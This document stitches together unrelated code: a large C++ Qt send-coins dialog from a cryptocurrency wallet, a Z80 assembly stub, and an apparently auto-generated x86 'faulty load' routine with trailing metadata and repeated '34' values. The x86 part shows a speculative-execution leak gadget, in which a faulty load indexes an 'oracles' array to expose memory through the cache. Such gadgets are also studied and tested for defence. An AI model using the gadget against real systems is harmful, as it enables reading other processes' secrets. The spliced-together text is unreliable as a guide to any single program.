ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction); ui->labelCoinControlChange->addAction(clipboardChangeAction); // init transaction fee section if (!settings.contains("fFeeSectionMinimized")) settings.setValue("fFeeSectionMinimized", true); if (!settings.contains("nFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility settings.setValue("nFeeRadio", 1); // custom if (!settings.contains("nFeeRadio")) settings.setValue("nFeeRadio", 0); // recommended if (!settings.contains("nCustomFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility settings.setValue("nCustomFeeRadio", 1); // total at least if (!settings.contains("nCustomFeeRadio")) settings.setValue("nCustomFeeRadio", 0); // per kilobyte if (!settings.contains("nSmartFeeSliderPosition")) settings.setValue("nSmartFeeSliderPosition", 0); if (!settings.contains("nTransactionFee")) settings.setValue("nTransactionFee", (qint64)DEFAULT_TRANSACTION_FEE); if (!settings.contains("fPayOnlyMinFee")) settings.setValue("fPayOnlyMinFee", false); if (!settings.contains("fSendFreeTransactions")) settings.setValue("fSendFreeTransactions", false); ui->groupFee->setId(ui->radioSmartFee, 0); ui->groupFee->setId(ui->radioCustomFee, 1); ui->groupFee->button((int)std::max(0, std::min(1, settings.value("nFeeRadio").toInt())))->setChecked(true); ui->groupCustomFee->setId(ui->radioCustomPerKilobyte, 0); ui->groupCustomFee->setId(ui->radioCustomAtLeast, 1); ui->groupCustomFee->button((int)std::max(0, std::min(1, settings.value("nCustomFeeRadio").toInt())))->setChecked(true); ui->sliderSmartFee->setValue(settings.value("nSmartFeeSliderPosition").toInt()); ui->customFee->setValue(settings.value("nTransactionFee").toLongLong()); ui->checkBoxMinimumFee->setChecked(settings.value("fPayOnlyMinFee").toBool()); ui->checkBoxFreeTx->setChecked(settings.value("fSendFreeTransactions").toBool()); minimizeFeeSection(settings.value("fFeeSectionMinimized").toBool()); } void SendCoinsDialog::setClientModel(ClientModel* clientModel) { this->clientModel = clientModel; if (clientModel) { connect(clientModel, SIGNAL(numBlocksChanged(int)), this, SLOT(updateSmartFeeLabel())); } } void SendCoinsDialog::setModel(WalletModel* model) { this->model = model; if (model && model->getOptionsModel()) { for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if (entry) { entry->setModel(model); } } setBalance(model->getBalance(), model->getUnconfirmedBalance(), model->getImmatureBalance(), model->getAnonymizedBalance(), model->getWatchBalance(), model->getWatchUnconfirmedBalance(), model->getWatchImmatureBalance()); connect(model, SIGNAL(balanceChanged(CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount)), this, SLOT(setBalance(CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount))); connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit())); updateDisplayUnit(); // Coin Control connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(model->getOptionsModel(), SIGNAL(coinControlFeaturesChanged(bool)), this, SLOT(coinControlFeatureChanged(bool))); ui->frameCoinControl->setVisible(model->getOptionsModel()->getCoinControlFeatures()); coinControlUpdateLabels(); // fee section connect(ui->sliderSmartFee, SIGNAL(valueChanged(int)), this, SLOT(updateSmartFeeLabel())); connect(ui->sliderSmartFee, SIGNAL(valueChanged(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->sliderSmartFee, SIGNAL(valueChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(updateFeeSectionControls())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->groupCustomFee, SIGNAL(buttonClicked(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->groupCustomFee, SIGNAL(buttonClicked(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->customFee, SIGNAL(valueChanged()), this, SLOT(updateGlobalFeeVariables())); connect(ui->customFee, SIGNAL(valueChanged()), this, SLOT(coinControlUpdateLabels())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(setMinimumFee())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(updateFeeSectionControls())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->checkBoxFreeTx, SIGNAL(stateChanged(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->checkBoxFreeTx, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels())); ui->customFee->setSingleStep(CWallet::minTxFee.GetFeePerK()); updateFeeSectionControls(); updateMinFeeLabel(); updateSmartFeeLabel(); updateGlobalFeeVariables(); } } SendCoinsDialog::~SendCoinsDialog() { QSettings settings; settings.setValue("fFeeSectionMinimized", fFeeMinimized); settings.setValue("nFeeRadio", ui->groupFee->checkedId()); settings.setValue("nCustomFeeRadio", ui->groupCustomFee->checkedId()); settings.setValue("nSmartFeeSliderPosition", ui->sliderSmartFee->value()); settings.setValue("nTransactionFee", (qint64)ui->customFee->value()); settings.setValue("fPayOnlyMinFee", ui->checkBoxMinimumFee->isChecked()); settings.setValue("fSendFreeTransactions", ui->checkBoxFreeTx->isChecked()); delete ui; } void SendCoinsDialog::on_sendButton_clicked() { if (!model || !model->getOptionsModel()) return; QList<SendCoinsRecipient> recipients; bool valid = true; for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); //UTXO splitter - address should be our own CBitcoinAddress address = entry->getValue().address.toStdString(); if (!model->isMine(address) && ui->splitBlockCheckBox->checkState() == Qt::Checked) { CoinControlDialog::coinControl->fSplitBlock = false; ui->splitBlockCheckBox->setCheckState(Qt::Unchecked); QMessageBox::warning(this, tr("Send Coins"), tr("The split block tool does not work when sending to outside addresses. Try again."), QMessageBox::Ok, QMessageBox::Ok); return; } if (entry) { if (entry->validate()) { recipients.append(entry->getValue()); } else { valid = false; } } } if (!valid || recipients.isEmpty()) { return; } //set split block in model CoinControlDialog::coinControl->fSplitBlock = ui->splitBlockCheckBox->checkState() == Qt::Checked; if (ui->entries->count() > 1 && ui->splitBlockCheckBox->checkState() == Qt::Checked) { CoinControlDialog::coinControl->fSplitBlock = false; ui->splitBlockCheckBox->setCheckState(Qt::Unchecked); QMessageBox::warning(this, tr("Send Coins"), tr("The split block tool does not work with multiple addresses. Try again."), QMessageBox::Ok, QMessageBox::Ok); return; } if (CoinControlDialog::coinControl->fSplitBlock) CoinControlDialog::coinControl->nSplitBlock = int(ui->splitBlockLineEdit->text().toInt()); QString strFunds = tr("using") + " <b>" + tr("anonymous funds") + "</b>"; QString strFee = ""; recipients[0].inputType = ONLY_DENOMINATED; if (ui->checkUseObfuscation->isChecked()) { recipients[0].inputType = ONLY_DENOMINATED; strFunds = tr("using") + " <b>" + tr("anonymous funds") + "</b>"; QString strNearestAmount( BitcoinUnits::formatWithUnit( model->getOptionsModel()->getDisplayUnit(), 0.1 * COIN)); strFee = QString(tr( "(obfuscation requires this amount to be rounded up to the nearest %1).") .arg(strNearestAmount)); } else { recipients[0].inputType = ALL_COINS; strFunds = tr("using") + " <b>" + tr("any available funds (not recommended)") + "</b>"; } if (ui->checkSwiftTX->isChecked()) { recipients[0].useSwiftTX = true; strFunds += " "; strFunds += tr("and SwiftTX"); } else { recipients[0].useSwiftTX = false; } // Format confirmation message QStringList formatted; foreach (const SendCoinsRecipient& rcp, recipients) { // generate bold amount string QString amount = "<b>" + BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), rcp.amount); amount.append("</b> ").append(strFunds); // generate monospace address string QString address = "<span style='font-family: monospace;'>" + rcp.address; address.append("</span>"); QString recipientElement; if (!rcp.paymentRequest.IsInitialized()) // normal payment { if (rcp.label.length() > 0) // label with address { recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.label)); recipientElement.append(QString(" (%1)").arg(address)); } else // just address { recipientElement = tr("%1 to %2").arg(amount, address); } } else if (!rcp.authenticatedMerchant.isEmpty()) // secure payment request { recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.authenticatedMerchant)); } else // insecure payment request { recipientElement = tr("%1 to %2").arg(amount, address); } if (fSplitBlock) { recipientElement.append(tr(" split into %1 outputs using the UTXO splitter.").arg(CoinControlDialog::coinControl->nSplitBlock)); } formatted.append(recipientElement); } fNewRecipientAllowed = false; // request unlock only if was locked or unlocked for mixing: // this way we let users unlock by walletpassphrase or by menu // and make many transactions while unlocking through this dialog // will call relock WalletModel::EncryptionStatus encStatus = model->getEncryptionStatus(); if (encStatus == model->Locked || encStatus == model->UnlockedForAnonymizationOnly) { WalletModel::UnlockContext ctx(model->requestUnlock(true)); if (!ctx.isValid()) { // Unlock wallet was cancelled fNewRecipientAllowed = true; return; } send(recipients, strFee, formatted); return; } // already unlocked or not encrypted at all send(recipients, strFee, formatted); } void SendCoinsDialog::send(QList<SendCoinsRecipient> recipients, QString strFee, QStringList formatted) { // prepare transaction for getting txFee earlier WalletModelTransaction currentTransaction(recipients); WalletModel::SendCoinsReturn prepareStatus; if (model->getOptionsModel()->getCoinControlFeatures()) // coin control enabled prepareStatus = model->prepareTransaction(currentTransaction, CoinControlDialog::coinControl); else prepareStatus = model->prepareTransaction(currentTransaction); // process prepareStatus and on error generate message shown to user processSendCoinsReturn(prepareStatus, BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), currentTransaction.getTransactionFee()), true); if (prepareStatus.status != WalletModel::OK) { fNewRecipientAllowed = true; return; } CAmount txFee = currentTransaction.getTransactionFee(); QString questionString = tr("Are you sure you want to send?"); questionString.append("<br /><br />%1"); if (txFee > 0) { // append fee string if a fee is required questionString.append("<hr /><span style='color:#aa0000;'>"); questionString.append(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), txFee)); questionString.append("</span> "); questionString.append(tr("are added as transaction fee")); questionString.append(" "); questionString.append(strFee); // append transaction size questionString.append(" (" + QString::number((double)currentTransaction.getTransactionSize() / 1000) + " kB)"); } // add total amount in all subdivision units questionString.append("<hr />"); CAmount totalAmount = currentTransaction.getTotalTransactionAmount() + txFee; QStringList alternativeUnits; foreach (BitcoinUnits::Unit u, BitcoinUnits::availableUnits()) { if (u != model->getOptionsModel()->getDisplayUnit()) alternativeUnits.append(BitcoinUnits::formatHtmlWithUnit(u, totalAmount)); } // Show total amount + all alternative units questionString.append(tr("Total Amount = <b>%1</b><br />= %2") .arg(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), totalAmount)) .arg(alternativeUnits.join("<br />= "))); // Limit number of displayed entries int messageEntries = formatted.size(); int displayedEntries = 0; for (int i = 0; i < formatted.size(); i++) { if (i >= MAX_SEND_POPUP_ENTRIES) { formatted.removeLast(); i--; } else { displayedEntries = i + 1; } } questionString.append("<hr />"); questionString.append(tr("<b>(%1 of %2 entries displayed)</b>").arg(displayedEntries).arg(messageEntries)); // Display message box QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm send coins"), questionString.arg(formatted.join("<br />")), QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Cancel); if (retval != QMessageBox::Yes) { fNewRecipientAllowed = true; return; } // now send the prepared transaction WalletModel::SendCoinsReturn sendStatus = model->sendCoins(currentTransaction); // process sendStatus and on error generate message shown to user processSendCoinsReturn(sendStatus); if (sendStatus.status == WalletModel::OK) { accept(); CoinControlDialog::coinControl->UnSelectAll(); coinControlUpdateLabels(); } fNewRecipientAllowed = true; } void SendCoinsDialog::clear() { // Remove entries until only one left while (ui->entries->count()) { ui->entries->takeAt(0)->widget()->deleteLater(); } addEntry(); updateTabsAndLabels(); } void SendCoinsDialog::reject() { clear(); } void SendCoinsDialog::accept() { clear(); } SendCoinsEntry* SendCoinsDialog::addEntry() { SendCoinsEntry* entry = new SendCoinsEntry(this); entry->setModel(model); ui->entries->addWidget(entry); connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*))); connect(entry, SIGNAL(payAmountChanged()), this, SLOT(coinControlUpdateLabels())); updateTabsAndLabels(); // Focus the field, so that entry can start immediately entry->clear(); entry->setFocus(); ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint()); qApp->processEvents(); QScrollBar* bar = ui->scrollArea->verticalScrollBar(); if (bar) bar->setSliderPosition(bar->maximum()); return entry; } void SendCoinsDialog::updateTabsAndLabels() { setupTabChain(0); coinControlUpdateLabels(); } void SendCoinsDialog::removeEntry(SendCoinsEntry* entry) { entry->hide(); // If the last entry is about to be removed add an empty one if (ui->entries->count() == 1) addEntry(); entry->deleteLater(); updateTabsAndLabels(); } QWidget* SendCoinsDialog::setupTabChain(QWidget* prev) { for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if (entry) { prev = entry->setupTabChain(prev); } } QWidget::setTabOrder(prev, ui->sendButton); QWidget::setTabOrder(ui->sendButton, ui->clearButton); QWidget::setTabOrder(ui->clearButton, ui->addButton); return ui->addButton; } void SendCoinsDialog::setAddress(const QString& address) { SendCoinsEntry* entry = 0; // Replace the first entry if it is still unused if (ui->entries->count() == 1) { SendCoinsEntry* first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget()); if (first->isClear()) { entry = first; } } if (!entry) { entry = addEntry(); } entry->setAddress(address); } void SendCoinsDialog::pasteEntry(const SendCoinsRecipient& rv) { if (!fNewRecipientAllowed) return; SendCoinsEntry* entry = 0; // Replace the first entry if it is still unused if (ui->entries->count() == 1) { SendCoinsEntry* first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget()); if (first->isClear()) { entry = first; } } if (!entry) { entry = addEntry(); } entry->setValue(rv); updateTabsAndLabels(); } bool SendCoinsDialog::handlePaymentRequest(const SendCoinsRecipient& rv) { // Just paste the entry, all pre-checks // are done in paymentserver.cpp. pasteEntry(rv); return true; } void SendCoinsDialog::setBalance(const CAmount& balance, const CAmount& unconfirmedBalance, const CAmount& immatureBalance, const CAmount& anonymizedBalance, const CAmount& watchBalance, const CAmount& watchUnconfirmedBalance, const CAmount& watchImmatureBalance) { Q_UNUSED(unconfirmedBalance); Q_UNUSED(immatureBalance); Q_UNUSED(anonymizedBalance); Q_UNUSED(watchBalance); Q_UNUSED(watchUnconfirmedBalance); Q_UNUSED(watchImmatureBalance); if (model && model->getOptionsModel()) { uint64_t bal = 0; QSettings settings; settings.setValue("bUseObfuScation", ui->checkUseObfuscation->isChecked()); if (ui->checkUseObfuscation->isChecked()) { bal = anonymizedBalance; } else { bal = balance; } ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), bal)); } } void SendCoinsDialog::updateDisplayUnit() { TRY_LOCK(cs_main, lockMain); if (!lockMain) return; setBalance(model->getBalance(), model->getUnconfirmedBalance(), model->getImmatureBalance(), model->getAnonymizedBalance(), model->getWatchBalance(), model->getWatchUnconfirmedBalance(), model->getWatchImmatureBalance()); CoinControlDialog::coinControl->useObfuScation = ui->checkUseObfuscation->isChecked(); coinControlUpdateLabels(); ui->customFee->setDisplayUnit(model->getOptionsModel()->getDisplayUnit()); updateMinFeeLabel(); updateSmartFeeLabel(); } void SendCoinsDialog::updateSwiftTX() { QSettings settings; settings.setValue("bUseSwiftTX", ui->checkSwiftTX->isChecked()); CoinControlDialog::coinControl->useSwiftTX = ui->checkSwiftTX->isChecked(); coinControlUpdateLabels(); } void SendCoinsDialog::processSendCoinsReturn(const WalletModel::SendCoinsReturn& sendCoinsReturn, const QString& msgArg, bool fPrepare) { bool fAskForUnlock = false; QPair<QString, CClientUIInterface::MessageBoxFlags> msgParams; // Default to a warning message, override if error message is needed msgParams.second = CClientUIInterface::MSG_WARNING; // This comment is specific to SendCoinsDialog usage of WalletModel::SendCoinsReturn. // WalletModel::TransactionCommitFailed is used only in WalletModel::sendCoins() // all others are used only in WalletModel::prepareTransaction() switch (sendCoinsReturn.status) { case WalletModel::InvalidAddress: msgParams.first = tr("The recipient address is not valid, please recheck."); break; case WalletModel::InvalidAmount: msgParams.first = tr("The amount to pay must be larger than 0."); break; case WalletModel::AmountExceedsBalance: msgParams.first = tr("The amount exceeds your balance."); break; case WalletModel::AmountWithFeeExceedsBalance: msgParams.first = tr("The total exceeds your balance when the %1 transaction fee is included.").arg(msgArg); break; case WalletModel::DuplicateAddress: msgParams.first = tr("Duplicate address found, can only send to each address once per send operation."); break; case WalletModel::TransactionCreationFailed: msgParams.first = tr("Transaction creation failed!"); msgParams.second = CClientUIInterface::MSG_ERROR; break; case WalletModel::TransactionCommitFailed: msgParams.first = tr("The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here."); msgParams.second = CClientUIInterface::MSG_ERROR; break; case WalletModel::AnonymizeOnlyUnlocked: // Unlock is only need when the coins are send if(!fPrepare) fAskForUnlock = true; else msgParams.first = tr("Error: The wallet was unlocked only to anonymize coins."); break; case WalletModel::InsaneFee: msgParams.first = tr("A fee %1 times higher than %2 per kB is considered an insanely high fee.").arg(10000).arg(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ::minRelayTxFee.GetFeePerK())); break; // included to prevent a compiler warning. case WalletModel::OK: default: return; } // Unlock wallet if it wasn't fully unlocked already if(fAskForUnlock) { model->requestUnlock(false); if(model->getEncryptionStatus () != WalletModel::Unlocked) { msgParams.first = tr("Error: The wallet was unlocked only to anonymize coins. Unlock canceled."); } else { // Wallet unlocked return; } } emit message(tr("Send Coins"), msgParams.first, msgParams.second); } void SendCoinsDialog::minimizeFeeSection(bool fMinimize) { ui->labelFeeMinimized->setVisible(fMinimize); ui->buttonChooseFee->setVisible(fMinimize); ui->buttonMinimizeFee->setVisible(!fMinimize); ui->frameFeeSelection->setVisible(!fMinimize); ui->horizontalLayoutSmartFee->setContentsMargins(0, (fMinimize ? 0 : 6), 0, 0); fFeeMinimized = fMinimize; } void SendCoinsDialog::on_buttonChooseFee_clicked() { minimizeFeeSection(false); } void SendCoinsDialog::on_buttonMinimizeFee_clicked() { updateFeeMinimizedLabel(); minimizeFeeSection(true); } void SendCoinsDialog::setMinimumFee() { ui->radioCustomPerKilobyte->setChecked(true); ui->customFee->setValue(CWallet::minTxFee.GetFeePerK()); } void SendCoinsDialog::updateFeeSectionControls() { ui->sliderSmartFee->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee2->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFee3->setEnabled(ui->radioSmartFee->isChecked()); ui->labelFeeEstimation->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFeeNormal->setEnabled(ui->radioSmartFee->isChecked()); ui->labelSmartFeeFast->setEnabled(ui->radioSmartFee->isChecked()); ui->checkBoxMinimumFee->setEnabled(ui->radioCustomFee->isChecked()); ui->labelMinFeeWarning->setEnabled(ui->radioCustomFee->isChecked()); ui->radioCustomPerKilobyte->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); ui->radioCustomAtLeast->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); ui->customFee->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked()); } void SendCoinsDialog::updateGlobalFeeVariables() { if (ui->radioSmartFee->isChecked()) { nTxConfirmTarget = (int)25 - (int)std::max(0, std::min(24, ui->sliderSmartFee->value())); payTxFee = CFeeRate(0); } else { nTxConfirmTarget = 25; payTxFee = CFeeRate(ui->customFee->value()); fPayAtLeastCustomFee = ui->radioCustomAtLeast->isChecked(); } fSendFreeTransactions = ui->checkBoxFreeTx->isChecked(); } void SendCoinsDialog::updateFeeMinimizedLabel() { if (!model || !model->getOptionsModel()) return; if (ui->radioSmartFee->isChecked()) ui->labelFeeMinimized->setText(ui->labelSmartFee->text()); else { ui->labelFeeMinimized->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ui->customFee->value()) + ((ui->radioCustomPerKilobyte->isChecked()) ? "/kB" : "")); } } void SendCoinsDialog::updateMinFeeLabel() { if (model && model->getOptionsModel()) ui->checkBoxMinimumFee->setText(tr("Pay only the minimum fee of %1").arg(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), CWallet::minTxFee.GetFeePerK()) + "/kB")); } void SendCoinsDialog::updateSmartFeeLabel() { if (!model || !model->getOptionsModel()) return; int nBlocksToConfirm = (int)25 - (int)std::max(0, std::min(24, ui->sliderSmartFee->value())); CFeeRate feeRate = mempool.estimateFee(nBlocksToConfirm); if (feeRate <= CFeeRate(0)) // not enough data => minfee { ui->labelSmartFee->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), CWallet::minTxFee.GetFeePerK()) + "/kB"); ui->labelSmartFee2->show(); // (Smart fee not initialized yet. This usually takes a few blocks...) ui->labelFeeEstimation->setText(""); } else { ui->labelSmartFee->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), feeRate.GetFeePerK()) + "/kB"); ui->labelSmartFee2->hide(); ui->labelFeeEstimation->setText(tr("Estimated to begin confirmation within %n block(s).", "", nBlocksToConfirm)); } updateFeeMinimizedLabel(); } // UTXO splitter void SendCoinsDialog::splitBlockChecked(int state) { if (model) { CoinControlDialog::coinControl->fSplitBlock = (state == Qt::Checked); fSplitBlock = (state == Qt::Checked); ui->splitBlockLineEdit->setEnabled((state == Qt::Checked)); ui->labelBlockSizeText->setEnabled((state == Qt::Checked)); ui->labelBlockSize->setEnabled((state == Qt::Checked)); coinControlUpdateLabels(); } } //UTXO splitter void SendCoinsDialog::splitBlockLineEditChanged(const QString& text) { //grab the amount in Coin Control AFter Fee field QString qAfterFee = ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace("~", "").simplified().replace(" ", ""); //convert to CAmount CAmount nAfterFee; ParseMoney(qAfterFee.toStdString().c_str(), nAfterFee); //if greater than 0 then divide after fee by the amount of blocks CAmount nSize = nAfterFee; int nBlocks = text.toInt(); if (nAfterFee && nBlocks) nSize = nAfterFee / nBlocks; //assign to split block dummy, which is used to recalculate the fee amount more outputs CoinControlDialog::nSplitBlockDummy = nBlocks; //update labels ui->labelBlockSize->setText(QString::fromStdString(FormatMoney(nSize))); coinControlUpdateLabels(); } // Coin Control: copy label "Quantity" to clipboard void SendCoinsDialog::coinControlClipboardQuantity() { GUIUtil::setClipboard(ui->labelCoinControlQuantity->text()); } // Coin Control: copy label "Amount" to clipboard void SendCoinsDialog::coinControlClipboardAmount() { GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" "))); } // Coin Control: copy label "Fee" to clipboard void SendCoinsDialog::coinControlClipboardFee() { GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace("~", "")); } // Coin Control: copy label "After fee" to clipboard void SendCoinsDialog::coinControlClipboardAfterFee() { GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace("~", "")); } // Coin Control: copy label "Bytes" to clipboard void SendCoinsDialog::coinControlClipboardBytes() { GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace("~", "")); } // Coin Control: copy label "Priority" to clipboard void SendCoinsDialog::coinControlClipboardPriority() { GUIUtil::setClipboard(ui->labelCoinControlPriority->text()); } // Coin Control: copy label "Dust" to clipboard void SendCoinsDialog::coinControlClipboardLowOutput() { GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text()); } // Coin Control: copy label "Change" to clipboard void SendCoinsDialog::coinControlClipboardChange() { GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace("~", "")); } // Coin Control: settings menu - coin control enabled/disabled by user void SendCoinsDialog::coinControlFeatureChanged(bool checked) { ui->frameCoinControl->setVisible(checked); if (!checked && model) // coin control features disabled CoinControlDialog::coinControl->SetNull(); if (checked) coinControlUpdateLabels(); } // Coin Control: button inputs -> show actual coin control dialog void SendCoinsDialog::coinControlButtonClicked() { CoinControlDialog dlg; dlg.setModel(model); dlg.exec(); coinControlUpdateLabels(); } // Coin Control: checkbox custom change address void SendCoinsDialog::coinControlChangeChecked(int state) { if (state == Qt::Unchecked) { CoinControlDialog::coinControl->destChange = CNoDestination(); ui->labelCoinControlChangeLabel->clear(); } else // use this to re-validate an already entered address coinControlChangeEdited(ui->lineEditCoinControlChange->text()); ui->lineEditCoinControlChange->setEnabled((state == Qt::Checked)); } // Coin Control: custom change address changed void SendCoinsDialog::coinControlChangeEdited(const QString& text) { if (model && model->getAddressTableModel()) { // Default to no change address until verified CoinControlDialog::coinControl->destChange = CNoDestination(); ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}"); CBitcoinAddress addr = CBitcoinAddress(text.toStdString()); if (text.isEmpty()) // Nothing entered { ui->labelCoinControlChangeLabel->setText(""); } else if (!addr.IsValid()) // Invalid address { ui->labelCoinControlChangeLabel->setText(tr("Warning: Invalid rogaverse address")); } else // Valid address { CPubKey pubkey; CKeyID keyid; addr.GetKeyID(keyid); if (!model->getPubKey(keyid, pubkey)) // Unknown change address { ui->labelCoinControlChangeLabel->setText(tr("Warning: Unknown change address")); } else // Known change address { ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}"); // Query label QString associatedLabel = model->getAddressTableModel()->labelForAddress(text); if (!associatedLabel.isEmpty()) ui->labelCoinControlChangeLabel->setText(associatedLabel); else ui->labelCoinControlChangeLabel->setText(tr("(no label)")); CoinControlDialog::coinControl->destChange = addr.Get(); } } } } // Coin Control: update labels void SendCoinsDialog::coinControlUpdateLabels() { if (!model || !model->getOptionsModel() || !model->getOptionsModel()->getCoinControlFeatures()) return; // set pay amounts CoinControlDialog::payAmounts.clear(); for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if (entry) CoinControlDialog::payAmounts.append(entry->getValue().amount); } ui->checkUseObfuscation->setChecked(CoinControlDialog::coinControl->useObfuScation); if (CoinControlDialog::coinControl->HasSelected()) { // actual coin control calculation CoinControlDialog::updateLabels(model, this); // show coin control stats ui->labelCoinControlAutomaticallySelected->hide(); ui->widgetCoinControl->show(); } else { // hide coin control stats ui->labelCoinControlAutomaticallySelected->show(); ui->widgetCoinControl->hide(); ui->labelCoinControlInsuffFunds->hide(); } }
; size_t b_array_append_n(b_array_t *a, size_t n, int c) SECTION code_adt_b_array PUBLIC _b_array_append_n EXTERN asm_b_array_append_n _b_array_append_n: pop af pop hl pop de pop bc push bc push de push hl push af jp asm_b_array_append_n
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r8 push %r9 push %rcx push %rdi // Store lea addresses_D+0x1e1d7, %r15 cmp $32842, %rcx movl $0x51525354, (%r15) nop nop and $8528, %r10 // Store lea addresses_UC+0x18217, %r8 nop nop nop inc %rdi mov $0x5152535455565758, %rcx movq %rcx, %xmm3 and $0xffffffffffffffc0, %r8 movntdq %xmm3, (%r8) nop nop cmp $7373, %r10 // Store lea addresses_A+0x1ba17, %r10 nop xor %r9, %r9 movw $0x5152, (%r10) nop nop nop nop nop sub $16037, %rcx // Faulty Load lea addresses_normal+0x11a17, %r8 nop nop nop xor $36597, %rdi movb (%r8), %r10b lea oracles, %rdi and $0xff, %r10 shlq $12, %r10 mov (%rdi,%r10,1), %r10 pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 